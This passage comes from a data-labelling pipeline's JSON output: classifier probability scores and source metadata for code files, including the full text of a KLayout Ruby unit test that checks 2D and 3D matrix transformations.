0.0006622622117747634}, "secondary": {"Academic Writing": 9.052739893427272e-05, "Content Listing": 5.265554078365411e-05, "Creative Writing": 5.306515784436597e-05, "Customer Support Page": 3.6676099228034466e-05, "Q&A Forum": 2.4671248481298696e-05, "Discussion Thread": 1.9518220492647197e-05, "Comment Section": 6.334469546195958e-05, "Missing Content": 0.0001225292451294753, "Knowledge Article": 0.001218676089890657, "Legal Notices": 8.082616469908136e-05, "News Article": 3.507130196884378e-05, "Organizational Announcement": 4.028936298172266e-05, "Nonfiction Writing": 5.7261420088299914e-05, "Organizational About Page": 3.8630362368476135e-05, "Personal About Page": 2.9746919950302005e-05, "Personal Blog": 2.5695272461801666e-05, "Product Page": 2.1156481047244013e-05, "Spam / Ads": 3.42051079002188e-05, "Structured Data": 0.0014919034251709617, "Technical Writing": 0.006075161069967752, "Transcript / Interview": 3.8324182684937627e-05, "Tutorial / How-To Guide": 0.00030236106695951027, "User Reviews": 1.4775669094321244e-05, "NONE": 0.9900329284964101}, "tertiary": {"Academic Writing": 4.816579115771728e-05, "Content Listing": 2.7673613755830787e-05, "Creative Writing": 3.540673849021146e-05, "Customer Support Page": 2.8167185003584592e-05, "Q&A Forum": 1.3607024416209662e-05, "Discussion Thread": 1.1489585924672548e-05, "Comment Section": 3.3341839292007175e-05, "Missing Content": 0.00011236678351128991, "Knowledge Article": 0.0006266676462194448, "Legal Notices": 8.292197286380983e-05, "News Article": 2.0920718993782564e-05, "Organizational Announcement": 2.404265613442233e-05, "Nonfiction Writing": 6.096201370619106e-05, "Organizational About Page": 3.182753867255721e-05, "Personal About Page": 1.4466821108348153e-05, "Personal Blog": 1.6129734599870545e-05, "Product Page": 1.4037404746168921e-05, "Spam / Ads": 1.9833556057506065e-05, "Structured Data": 0.0003663309894971936, "Technical Writing": 0.003616910841045218, "Transcript / Interview": 2.1020273947710865e-05, "Tutorial / How-To Guide": 0.0002996267492391591, "User Reviews": 1.0803873651093445e-05, "NONE": 0.9944632786479661}, "structured_records": {"false": 0.9978408671864293, "true": 0.002159132813570721}, "procedural_steps": {"false": 0.9967469783225762, "true": 0.0032530216774238467}, "worked_solution": {"false": 0.992994536415866, "true": 0.007005463584134038}, "contextual_dialogue": {"false": 0.9999948315060126, "true": 5.168493987396899e-06}, "content_quality": {"-2": 0.0024594293771655583, "-1": 0.006449800974915223, "0": 0.13224506378905837, "1": 0.49111062976557357, "2": 0.3677350760932873}, "noise_severity": {"0": 0.9925543855201224, "1": 0.0069605195033849735, "2": 0.0002622515799222292, "3": 0.00012812259407504902, "4": 9.472080249535406e-05}, "missing_content_severity": {"0": 0.9942420752296706, "1": 0.0025312763169423884, "2": 0.0023624260356148144, "3": 0.0006620215618824141, "4": 0.00020220085588976359}, "factual_density": {"0": 0.001819736420366652, "1": 0.003700209316270348, "2": 0.0424034724421006, "3": 0.302977930581521, "4": 0.6490986512397413}, "pretraining_utility": {"-2": 0.0069407186966797445, "-1": 0.06946874179146117, "0": 0.36955298601305175, "1": 0.4785856714255787, "2": 0.07545188207322856}, "math_density": {"0": 0.9727121364460857, "1": 0.021312324028215427, "2": 0.0015834696588096929, "3": 0.0010630162158843, "4": 0.0033290536510046857}, "code_density": {"0": 0.00020268908843480813, "1": 0.0003985793150901836, "2": 0.010340801627467484, "3": 0.10226319169634925, "4": 0.8867947382726582}, "reasoning_density": {"0": 0.4139380575662201, "1": 0.23917426783111292, "2": 0.20049826776674876, "3": 0.08874024620052735, "4": 0.057649160635390946}, "education_level": {"none": 0.0010934667081040027, "0": 0.0013385340008100497, "1": 0.005150461268344676, "2": 0.3031929276703783, "3": 0.5357783364629904, "4": 0.15344627388937263}, "creative_writing_quality": {"not_applicable": 0.9996333969441398, "-2": 3.5696190727147554e-05, "-1": 6.556461552990288e-05, "0": 0.0001854292192392187, "1": 5.5586843512017666e-05, "2": 2.4326186852043855e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.273046507658082e-05, "Art & Design": 5.051633547184173e-05, "Law & Crime": 1.6505733976363573e-05, "Education & Careers": 1.9998975427919498e-05, "Entertainment & Media": 1.2171615489520511e-05, "Fashion & Beauty": 7.264362080416153e-06, "Business, Economics & Finance": 2.5468860684675156e-05, "Food & Dining": 1.0688348373159112e-05, "Games & Gaming": 3.133128218263827e-05, "Electronics & Hardware": 8.374069607343611e-05, "Health, Healthcare & Wellness": 1.1963363658760942e-05, "History & Geography": 1.8809044613023507e-05, "Home, Pets & Hobbies": 1.220257786906241e-05, "Industry & Production": 1.7130844808410334e-05, "Language, Literature & Philosophy": 5.7161715622575274e-05, "Politics & Government": 1.0324902766919176e-05, "Religion & Spirituality": 1.5983570971110235e-05, "Science, Mathematics & Engineering": 0.0003181405824167102, "Relationships & Community": 9.30702407559126e-06, "Software Usage & Applications": 0.0007550432425575727, "Programming & Software Engineering": 0.9982700519988023, "Sports & Fitness": 2.2903477686266462e-05, "Vehicles & Transportation": 9.392870006431227e-06, "Travel & Tourism": 2.1270949893983852e-05, "Other / Uncovered Subject": 0.0001153383204319127, "Unknown / Insufficient Content": 5.455883898294543e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 9.817012145059627e-05, "Art & Design": 0.00010971959651950102, "Law & Crime": 0.00010909970725724435, "Education & Careers": 6.647446651794063e-05, "Entertainment & Media": 6.460452489072003e-05, "Fashion & Beauty": 3.4130843330475975e-05, "Business, Economics & Finance": 0.00011157679893690085, "Food & Dining": 3.2817489460846305e-05, "Games & Gaming": 5.948745194741217e-05, "Electronics & Hardware": 0.00017046675712314896, "Health, Healthcare & Wellness": 3.5434929359836185e-05, "History & Geography": 4.5371286739954795e-05, "Home, Pets & Hobbies": 2.4237558668196823e-05, "Industry & Production": 3.2405271569444184e-05, "Language, Literature & Philosophy": 0.0001616594066824051, "Politics & Government": 4.5259767252195827e-05, "Religion & Spirituality": 4.938041127564028e-05, "Science, Mathematics & Engineering": 0.0005238416781012986, "Relationships & Community": 2.6685926583797248e-05, "Software Usage & Applications": 0.0021824416609879556, "Programming & Software Engineering": 0.007670701012454271, "Sports & Fitness": 3.7830343314030256e-05, "Vehicles & Transportation": 1.824569698229995e-05, "Travel & Tourism": 5.385132843152695e-05, "Other / Uncovered Subject": 0.00011100870167685245, "NONE": 0.9881250972624854}}, "probabilities": {"primary": {"Academic Writing": 2.052401752932587e-05, "Content Listing": 1.2222675445681102e-05, "Creative Writing": 7.30645988869235e-06, "Customer Support Page": 4.989510376132167e-06, "Q&A Forum": 5.215236605040669e-06, "Discussion Thread": 3.0689012640289176e-06, "Comment Section": 4.772183964836686e-06, "Missing Content": 1.1172568327070427e-05, "Knowledge Article": 7.094243588255413e-05, "Legal Notices": 1.891325572294983e-05, "News Article": 1.9839799791279484e-06, "Organizational Announcement": 6.653752700194049e-06, "Nonfiction Writing": 5.418118398944178e-06, "Organizational About Page": 5.330751720179518e-06, "Personal About Page": 3.307020441198268e-06, "Personal Blog": 3.1362119734697143e-06, "Product Page": 3.2759679805507234e-06, "Spam / Ads": 4.034614042180661e-06, "Structured Data": 0.00035841850129844643, "Technical Writing": 0.9987210117969705, "Transcript / Interview": 6.267314550525123e-06, "Tutorial / How-To Guide": 5.6931944480634273e-05, "User Reviews": 2.840568682887764e-06, "Other / Unknown": 0.0006622622117747632}, "secondary": {"Academic Writing": 9.052739893427272e-05, "Content Listing": 5.265554078365411e-05, "Creative Writing": 5.306515784436597e-05, "Customer Support Page": 3.6676099228034466e-05, "Q&A Forum": 2.4671248481298696e-05, "Discussion Thread": 1.9518220492647197e-05, "Comment Section": 6.334469546195958e-05, "Missing Content": 0.0001225292451294753, "Knowledge Article": 0.001218676089890657, "Legal Notices": 8.082616469908136e-05, "News Article": 3.507130196884378e-05, "Organizational Announcement": 4.028936298172266e-05, "Nonfiction Writing": 5.7261420088299914e-05, "Organizational About Page": 3.8630362368476135e-05, "Personal About Page": 2.9746919950302005e-05, "Personal Blog": 2.5695272461801666e-05, "Product Page": 2.1156481047244013e-05, "Spam / Ads": 3.42051079002188e-05, "Structured Data": 0.0014919034251709617, "Technical Writing": 0.006075161069967752, "Transcript / Interview": 3.8324182684937627e-05, "Tutorial / How-To Guide": 0.00030236106695951027, "User Reviews": 1.4775669094321244e-05, "NONE": 0.9900329284964101}, "tertiary": {"Academic Writing": 4.8165791157717265e-05, "Content Listing": 2.767361375583078e-05, "Creative Writing": 3.540673849021145e-05, "Customer Support Page": 2.8167185003584585e-05, "Q&A Forum": 1.3607024416209658e-05, "Discussion Thread": 1.1489585924672544e-05, "Comment Section": 3.334183929200717e-05, "Missing Content": 0.00011236678351128988, "Knowledge Article": 0.0006266676462194447, "Legal Notices": 8.292197286380982e-05, "News Article": 2.092071899378256e-05, "Organizational Announcement": 2.4042656134422322e-05, "Nonfiction Writing": 6.0962013706191045e-05, "Organizational About Page": 3.18275386725572e-05, "Personal About Page": 1.446682110834815e-05, "Personal Blog": 1.612973459987054e-05, "Product Page": 1.4037404746168918e-05, "Spam / Ads": 1.9833556057506062e-05, "Structured Data": 0.0003663309894971935, "Technical Writing": 0.003616910841045217, "Transcript / Interview": 2.1020273947710862e-05, "Tutorial / How-To Guide": 0.00029962674923915904, "User Reviews": 1.0803873651093443e-05, "NONE": 0.9944632786479659}, "structured_records": {"false": 0.9978408671864293, "true": 0.002159132813570721}, "procedural_steps": {"false": 0.9967469783225762, "true": 0.0032530216774238467}, "worked_solution": {"false": 0.992994536415866, "true": 0.007005463584134038}, "contextual_dialogue": {"false": 0.9999948315060126, "true": 5.168493987396899e-06}, "content_quality": {"-2": 0.0024594293771655583, "-1": 0.006449800974915223, "0": 0.13224506378905837, "1": 0.49111062976557357, "2": 0.3677350760932873}, "noise_severity": {"0": 0.9925543855201224, "1": 0.0069605195033849735, "2": 0.0002622515799222292, "3": 0.00012812259407504902, "4": 9.472080249535406e-05}, "missing_content_severity": {"0": 0.9942420752296707, "1": 0.002531276316942389, "2": 0.002362426035614815, "3": 0.0006620215618824142, "4": 0.0002022008558897636}, "factual_density": {"0": 0.0018197364203666523, "1": 0.0037002093162703483, "2": 0.042403472442100604, "3": 0.30297793058152106, "4": 0.6490986512397414}, "pretraining_utility": {"-2": 0.006940718696679745, "-1": 0.06946874179146119, "0": 0.3695529860130518, "1": 0.47858567142557873, "2": 0.07545188207322857}, "math_density": {"0": 0.9727121364460859, "1": 0.02131232402821543, "2": 0.0015834696588096933, "3": 0.0010630162158843002, "4": 0.0033290536510046866}, "code_density": {"0": 0.00020268908843480815, "1": 0.00039857931509018363, "2": 0.010340801627467486, "3": 0.10226319169634926, "4": 0.8867947382726583}, "reasoning_density": {"0": 0.4139380575662201, "1": 0.23917426783111292, "2": 0.20049826776674876, "3": 0.08874024620052735, "4": 0.057649160635390946}, "education_level": {"none": 0.0010934667081040027, "0": 0.0013385340008100497, "1": 0.005150461268344676, "2": 0.3031929276703783, "3": 0.5357783364629904, "4": 0.15344627388937263}, "creative_writing_quality": {"not_applicable": 0.9996333969441398, "-2": 3.5696190727147554e-05, "-1": 6.556461552990288e-05, "0": 0.0001854292192392187, "1": 5.5586843512017666e-05, "2": 2.4326186852043855e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.273046507658082e-05, "Art & Design": 5.051633547184173e-05, "Law & Crime": 1.6505733976363573e-05, "Education & Careers": 1.9998975427919498e-05, "Entertainment & Media": 1.2171615489520511e-05, "Fashion & Beauty": 7.264362080416153e-06, "Business, Economics & Finance": 2.5468860684675156e-05, "Food & Dining": 1.0688348373159112e-05, "Games & Gaming": 3.133128218263827e-05, "Electronics & Hardware": 8.374069607343611e-05, "Health, Healthcare & Wellness": 1.1963363658760942e-05, "History & Geography": 1.8809044613023507e-05, "Home, Pets & Hobbies": 1.220257786906241e-05, "Industry & Production": 1.7130844808410334e-05, "Language, Literature & Philosophy": 5.7161715622575274e-05, "Politics & Government": 1.0324902766919176e-05, "Religion & Spirituality": 1.5983570971110235e-05, "Science, Mathematics & Engineering": 0.0003181405824167102, "Relationships & Community": 9.30702407559126e-06, "Software Usage & Applications": 0.0007550432425575727, "Programming & Software Engineering": 0.9982700519988023, "Sports & Fitness": 2.2903477686266462e-05, "Vehicles & Transportation": 9.392870006431227e-06, "Travel & Tourism": 2.1270949893983852e-05, "Other / Uncovered Subject": 0.0001153383204319127, "Unknown / Insufficient Content": 5.455883898294543e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 9.817012145059629e-05, "Art & Design": 0.00010971959651950103, "Law & Crime": 0.00010909970725724437, "Education & Careers": 6.647446651794064e-05, "Entertainment & Media": 6.460452489072005e-05, "Fashion & Beauty": 3.413084333047598e-05, "Business, Economics & Finance": 0.00011157679893690087, "Food & Dining": 3.281748946084631e-05, "Games & Gaming": 5.9487451947412174e-05, "Electronics & Hardware": 0.00017046675712314898, "Health, Healthcare & Wellness": 3.543492935983619e-05, "History & Geography": 4.53712867399548e-05, "Home, Pets & Hobbies": 2.4237558668196826e-05, "Industry & Production": 3.240527156944419e-05, "Language, Literature & Philosophy": 0.00016165940668240512, "Politics & Government": 4.525976725219583e-05, "Religion & Spirituality": 4.9380411275640285e-05, "Science, Mathematics & Engineering": 0.0005238416781012987, "Relationships & Community": 2.668592658379725e-05, "Software Usage & Applications": 0.002182441660987956, "Programming & Software Engineering": 0.007670701012454272, "Sports & Fitness": 3.783034331403026e-05, "Vehicles & Transportation": 1.8245696982299955e-05, "Travel & Tourism": 5.385132843152696e-05, "Other / Uncovered Subject": 0.00011100870167685246, "NONE": 0.9881250972624855}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9926, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9926, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:08.003309+00:00", "scoring_key_slot": "primary", "dataset_uid": "aeffbafd-7ace-4246-a65a-1964ed52f5eb", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "88bf891e8ef85ae4b0c6a98d96f3bccbec9bd04154be2d85cc9c489075da211e", "source_metadata": {"uuid": "aeffbafd-7ace-4246-a65a-1964ed52f5eb", "repo_name": "oracle/truffleruby", "relative_path": "lib/mri/bundler/lazy_specification.rb", "category": "TOOL", "algo_rel_score": 0.9723736047744751, "quality_score": 6.846322536468506, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 68537, "repo_created_at": "2016-02-05T18:03:11.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 3117, "forks": 194, "issues": 172, "pull_requests": 8}, "file_meta": {"content_id": "24259a4aaf36992ac009eaefd38732caebe0ed6c", "size_bytes": 5927, "file_timestamp": 1752484108, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "175f062f1eb5e739598b408a1e9f9c8d20185e66"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 68537, "repo_created_at": "2016-02-05T18:03:11.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 3117, "forks": 194, "issues": 172, "pull_requests": 8}, "file_meta": {"content_id": "24259a4aaf36992ac009eaefd38732caebe0ed6c", "size_bytes": 5927, "file_timestamp": 1752484108, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "175f062f1eb5e739598b408a1e9f9c8d20185e66", "url": "https://github.com/oracle/truffleruby/blob/175f062f1eb5e739598b408a1e9f9c8d20185e66/lib/mri/bundler/lazy_specification.rb"}, "gpt4o_tokens": 1380, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2152121222229018, "noise_severity": 0.008248273655435996, "missing_content_severity": 0.010050996497378315, "factual_density": 3.5938355509040005, "pretraining_utility": 0.5461392563872152, "math_density": 0.04098452659750646, "code_density": 3.8750487107497062, "reasoning_density": 1.1369881845077563, "education_level": 2.8357572276762917, "creative_writing_quality": -0.0892457911768131}, "score_applicability": {"education_level": 0.9989065332918962, "creative_writing_quality": 0.00036660305586033064}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/mike9322/kl/blob/b115441a7791b510e55739e7749483b694298b26/klayout-0.24.8/testdata/ruby/dbMatrix.rb", "id": "ruby-0-04ffe8cc68e4a9e70e871fb13646ecd8", "text": "\n$:.push(File::dirname($0))\n\nload(\"test_prologue.rb\")\n\nclass DBMatrix_TestClass < TestBase\n\n def test_1\n\n m = RBA::Matrix2d.new\n assert_equal(\"(1,0) (0,1)\", m.to_s)\n m = RBA::Matrix2d.new(2.0)\n assert_equal(\"(2,0) (0,2)\", m.to_s)\n m = RBA::Matrix2d.newc(2, 90, true)\n assert_equal(\"(0,2) (2,0)\", m.to_s)\n m = RBA::Matrix2d.new(RBA::DCplxTrans.new(2, 90, true, RBA::DPoint.new(0, 0)))\n assert_equal(\"(0,2) (2,0)\", m.to_s)\n m = RBA::Matrix2d.newc(0.0, 2, 2, 90, true)\n assert_equal(\"(0,2) (2,0)\", m.to_s)\n m = RBA::Matrix2d.newc(17.0, 2, 3, 90, true)\n assert_equal(\"17.000000\", \"%.6f\" % m.shear_angle)\n assert_equal(\"90.0\", m.angle.to_s)\n assert_equal(\"2.000000\", \"%.6f\" % m.mag_x)\n assert_equal(\"3.000000\", \"%.6f\" % m.mag_y)\n assert_equal(true, m.is_mirror?)\n m = RBA::Matrix2d.new(1, 2, 3, 4)\n assert_equal(\"(1,2) (3,4)\", m.to_s)\n assert_equal(\"1.0\", m.m11.to_s)\n assert_equal(\"2.0\", m.m12.to_s)\n assert_equal(\"3.0\", m.m21.to_s)\n assert_equal(\"4.0\", m.m22.to_s)\n assert_equal(\"4.0\", m.m(1,1).to_s)\n assert_equal(\"2.0\", m.m(0,1).to_s)\n m = RBA::Matrix2d.newc(2, 90, true)\n assert_equal(true, m.is_mirror?)\n t = m.cplx_trans\n assert_equal(\"m45 *2 0,0\", t.to_s)\n m = RBA::Matrix2d.newc(2, 90, false)\n assert_equal(\"90.0\", m.angle.to_s)\n assert_equal(false, m.is_mirror?)\n t = m.inverted.cplx_trans\n assert_equal(\"r270 *0.5 0,0\", t.to_s)\n p = m.trans(RBA::DPoint.new(1, 2))\n assert_equal(\"-4,2\", p.to_s)\n assert_equal(\"(1,0) (0,1)\", (m.inverted*m).to_s)\n assert_equal(\"(0,-1.5) (1.5,0)\", (m+m.inverted).to_s)\n\n end\n\n def test_2\n\n m = RBA::Matrix3d.new\n assert_equal(\"(1,0,0) (0,1,0) (0,0,1)\", m.to_s)\n m = RBA::Matrix3d.new(2.0)\n assert_equal(\"(2,0,0) (0,2,0) (0,0,1)\", m.to_s)\n m = RBA::Matrix3d.newc(2, 90, true)\n assert_equal(\"(0,2,0) (2,0,0) (0,0,1)\", m.to_s)\n m = RBA::Matrix3d.new(RBA::DCplxTrans.new(2, 90, true, RBA::DPoint.new(1, 2)))\n assert_equal(\"(0,2,1) (2,0,2) (0,0,1)\", m.to_s)\n m = RBA::Matrix3d.newc(0.0, 2, 3, 90, true)\n assert_equal(\"(0,3,0) (2,0,0) (0,0,1)\", m.to_s)\n m = RBA::Matrix3d.newc(17.0, 2, 3, 90, true)\n assert_equal(\"17.000000\", \"%.6f\" % m.shear_angle)\n assert_equal(\"90.0\", m.angle.to_s)\n assert_equal(\"2.000000\", \"%.6f\" % m.mag_x)\n assert_equal(\"3.000000\", \"%.6f\" % m.mag_y)\n assert_equal(true, m.is_mirror?)\n m = RBA::Matrix3d.newc(RBA::DPoint.new(1, 2), 17.0, 2, 3, 90, true)\n assert_equal(\"17.000000\", \"%.6f\" % m.shear_angle)\n assert_equal(\"90.0\", m.angle.to_s)\n assert_equal(\"2.000000\", \"%.6f\" % m.mag_x)\n assert_equal(\"3.000000\", \"%.6f\" % m.mag_y)\n assert_equal(\"1,2\", m.disp.to_s)\n assert_equal(true, m.is_mirror?)\n m = RBA::Matrix3d.new(1, 2, 3, 4)\n assert_equal(\"(1,2,0) (3,4,0) (0,0,1)\", m.to_s)\n assert_equal(\"4.0\", m.m(1,1).to_s)\n assert_equal(\"2.0\", m.m(0,1).to_s)\n assert_equal(\"0.0\", m.m(0,2).to_s)\n assert_equal(\"1.0\", m.m(2,2).to_s)\n m = RBA::Matrix3d.newc(2, 90, true)\n assert_equal(true, m.is_mirror?)\n t = m.cplx_trans\n assert_equal(\"m45 *2 0,0\", t.to_s)\n m = RBA::Matrix3d.newc(2, 90, false)\n assert_equal(\"90.0\", m.angle.to_s)\n assert_equal(false, m.is_mirror?)\n t = m.inverted.cplx_trans\n assert_equal(\"r270 *0.5 0,0\", t.to_s)\n p = m.trans(RBA::DPoint.new(1, 2))\n assert_equal(\"-4,2\", p.to_s)\n assert_equal(\"(1,0,0) (0,1,0) (0,0,1)\", (m.inverted*m).to_s)\n assert_equal(\"(0,-1.5,0) (1.5,0,0) (0,0,2)\", (m+m.inverted).to_s)\n m = RBA::Matrix3d.new(0, 1, -1, 0, 1, 2)\n t = m.cplx_trans\n assert_equal(\"r270 *1 1,2\", t.to_s)\n m = RBA::Matrix3d.new(0, 1, 1, -1, 0, 2, 0, 0, 1)\n t = m.cplx_trans\n assert_equal(\"r270 *1 1,2\", t.to_s)\n assert_equal(\"1.0\", m.disp.x.to_s)\n assert_equal(\"2.0\", m.disp.y.to_s)\n m = RBA::Matrix3d.newc(0.1, -0.2, 1.0, RBA::DPoint.new(1, 2), 17.0, 2, 2, 270, true)\n assert_equal(\"0.100000\", \"%.6f\" % m.tx(1.0))\n assert_equal(\"-0.200000\", \"%.6f\" % m.ty(1.0))\n assert_equal(\"17.000000\", \"%.6f\" % m.shear_angle)\n assert_equal(\"1,2\", m.disp.to_s)\n\n end\n\n def test_3\n\n p = [ RBA::DPoint.new(1, 1), RBA::DPoint.new(2, 1), RBA::DPoint.new(2, 2) ]\n q = [ RBA::DPoint.new(1, 1), RBA::DPoint.new(2, 1), RBA::DPoint.new(2, 3) ]\n m = RBA::Matrix3d.new(1.0)\n assert_equal((m * p[0]).to_s, \"1,1\");\n assert_equal((m * p[1]).to_s, \"2,1\");\n assert_equal((m * p[2]).to_s, \"2,2\");\n m.adjust(p, q, RBA::Matrix3d::AdjustAll, -1)\n assert_equal((m * p[0]).to_s, \"1,1\");\n assert_equal((m * p[1]).to_s, \"2,1\");\n assert_equal((m * p[2]).to_s, \"2,3\");\n\n end\n\nend\n\nload(\"test_epilogue.rb\")\n", "text_preview": "$:.push(File::dirname($0)) load(\"test_prologue.rb\") class DBMatrix_TestClass < TestBase def test_1 m = RBA::Matrix2d.new assert_equal(\"(1,0) (0,1)\", m.to_s) m = RBA::Matrix2d.new(2.0) assert_equal(\"(2,0) (0,2)\", m.to_s) m = RBA::Matrix2d.ne", "input_sha256": "e4ba04da0d0b20525ee5a2790043bb1f291b2bd90a24d7741d6a334eb8fc09e9", "text_sha256": "04ffe8cc68e4a9e70e871fb13646ecd86d8d75fbf32b6817cb26ea7c077cc094", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16018, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 4, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.309161885125028, "noise_severity": 0.04767766207710485, "missing_content_severity": 0.17557816126376685, "factual_density": 3.2643065638855324, "pretraining_utility": 0.013779251345470464, "math_density": 3.4058167038608342, "code_density": 3.939451427230253, "reasoning_density": 0.40647351352923505, "education_level": 2.39182590775722, "creative_writing_quality": -0.42783899158087907}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.007014203317808776, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9858014203258133, "secondary": 0.974605293069171, "tertiary": 0.9819244617486236, "structured_records": 0.08666195492117834, "procedural_steps": 0.0038397741359886784, "worked_solution": 0.21930990909402437, "contextual_dialogue": 8.039946771818419e-06, "content_quality": 0.557932021888401, "noise_severity": 0.960268614935746, "missing_content_severity": 0.8536848656135276, "factual_density": 0.3869221365712773, "pretraining_utility": 0.47349856983930516, "math_density": 0.504847253217362, "code_density": 0.9495428560252109, "reasoning_density": 0.6612720720589708, "education_level": 0.5472206470650827, "creative_writing_quality": 0.999407527250886, "primary_topic": 0.9378709416604557, "secondary_topic": 0.44185295884905706}, "probability_margin": {"primary": 0.9766020509550162, "secondary": 0.9647586371394226, "tertiary": 0.9752563471176164, "education_level": 0.3303428104460751, "creative_writing_quality": 0.9993100793189333, "primary_topic": 0.8842668365568848, "secondary_topic": 0.056509212566059897}, "raw_probabilities": {"primary": {"Academic Writing": 0.0001209626209044605, "Content Listing": 3.3874193730905634e-05, "Creative Writing": 3.859137719940399e-05, "Customer Support Page": 2.4299106958285472e-05, "Q&A Forum": 1.9512632596504614e-05, "Discussion Thread": 1.612864092505767e-05, "Comment Section": 2.3575041122150092e-05, "Missing Content": 3.881806976125021e-05, "Knowledge Article": 0.00010162001499729996, "Legal Notices": 5.343800508969616e-05, "News Article": 1.114428395578181e-05, "Organizational Announcement": 1.9922263520856103e-05, "Nonfiction Writing": 2.6299934109877366e-05, "Organizational About Page": 2.4784165863844254e-05, "Personal About Page": 2.3168697834470482e-05, "Personal Blog": 1.2443758245389349e-05, "Product Page": 1.501996096920393e-05, "Spam / Ads": 2.2308589497957197e-05, "Structured Data": 0.0026440490957668123, "Technical Writing": 0.9863930278122377, "Transcript / Interview": 4.0256150789620653e-05, "Tutorial / How-To Guide": 0.0004922723915120447, "User Reviews": 1.3506335190071033e-05, "Other / Unknown": 0.009790976857221557}, "secondary": {"Academic Writing": 0.00031759526941198783, "Content Listing": 0.0001107120742654619, "Creative Writing": 0.00011604888389079902, "Customer Support Page": 7.200363424114197e-05, "Q&A Forum": 5.570747316248137e-05, "Discussion Thread": 4.620697314919076e-05, "Comment Section": 6.0020656414056456e-05, "Missing Content": 